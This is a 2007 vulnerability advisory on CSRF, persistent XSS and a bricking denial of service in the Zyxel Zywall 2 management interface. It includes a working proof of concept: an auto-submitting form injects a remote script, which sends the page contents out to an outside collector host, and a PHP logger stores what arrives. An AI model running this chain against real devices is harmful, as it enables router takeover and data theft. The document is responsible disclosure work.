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During an audit of Zyxel Zywall 2 it was discovered that a cross site request forgery and persistent cross site scripting vulnerability exists in the management interface. Thus, it is possible for an attacker to perform any administrative actions in the management interface, if a logged-in/authenticated user has been enticed to visit a malicious web site. These actions include e.g. changing DNS server address or other security critical configuration items.
It was also discovered that it is possible to "brick" the device by submitting invalid configuration to the device, thus performing a persistent denial of service attack against it. |
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Credit:
The information has been provided by Henri Lindberg, Associate of (ISC).
The original article can be found at: http://www.louhi.fi/advisory/zyxel_070810.txt
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Vulnerable Systems:
* ZyNOS Firmware version 3.62(WK.6) - 06/16/2004
Embedded device management interface does not validate the origin of an HTTP request. If attacker is able to make an authenticated user visit a hostile web page, a device can be controlled by submitting suitable forms. It is possible to steal information from the device and modify the configuration. See provided proof-of-concept code for more information.
Successful attack requires that the attacker knows the management interface address for the target device. As the management interface is most usually located at the default IP address and might even have default password in place, performing an successful attack is not far fetched.
By submitting invalid configuration to the management interface it is possible to perform a persistent denial of service attack against the device. After receiving invalid configuration, the device will reboot and enter an infinite reboot loop. Powering off the device, or pressing reset button will not help. It has not been researched if the device can be restored from this state (it does not have any reset jumpers or battery powered memory). From an ordinary consumer's point-of-view, the device is completely useless. No proof-of-concept code will be released, but finding this vulnerability is trivial.
More information:
http://en.wikipedia.org/wiki/Cross-site_request_forgery
Proof of Concept:
Include a random user-specific token in forms.
Example form (exploits persistent XSS):
<html>
<body onload="document.CSRF.submit()">
<FORM name="CSRF" METHOD="POST" ACTION="http://192.168.1.1/Forms/General_1">
<INPUT NAME="sysSystemName" VALUE="<script src='http://nx.fi/X'>"
<INPUT NAME="sysDomainName" VALUE="evil.com">
<INPUT NAME="StdioTimout" VALUE="0">
<INPUT NAME="sysSubmit" VALUE="Apply">
</form>
</body>
</html>
X:
document.write("Security Updates - <a href='http://www.checkpoint.com/'>http://www.zyxel.com</a>");
function getPage(){
i = 0;
data = encodeURIComponent(document.body.innerHTML);
while (i < data.length)
{
tmp = data.substr(i, 4096);
(new Image()).src = "http://nx.fi/xss/getinfo.php?page=" + tmp;
i += 4096;
}
}
setTimeout("getPage()", 1000);
getinfo.php:
<?php
$sent = isset($_REQUEST['page']);
$data = "";
if($sent)
{
$data .= "<pre>";
foreach($_REQUEST as $tmp) {
$data .= htmlspecialchars(urldecode($tmp));
}
$data .= "</pre>";
$myfile = "log.html";
$handle = fopen($myfile, 'a');
fwrite($handle, $data);
fclose($handle);
}
?>
Notice that you 'system name' variable is limited in length, so you'll need a relatively short URL.
Workaround:
Change administration password and default IP address. Perform administration using SSH.
Disclosure Timeline:
May 10 2007 - Contacted Zyxel by email
May 11 2007 - Vendor responded by email
June 7 2007 - Vendor stated that this not an urgent issue
June 28 2007 - Provided vendor with a proof-of-concept attack
August 10 2007 - Advisory released
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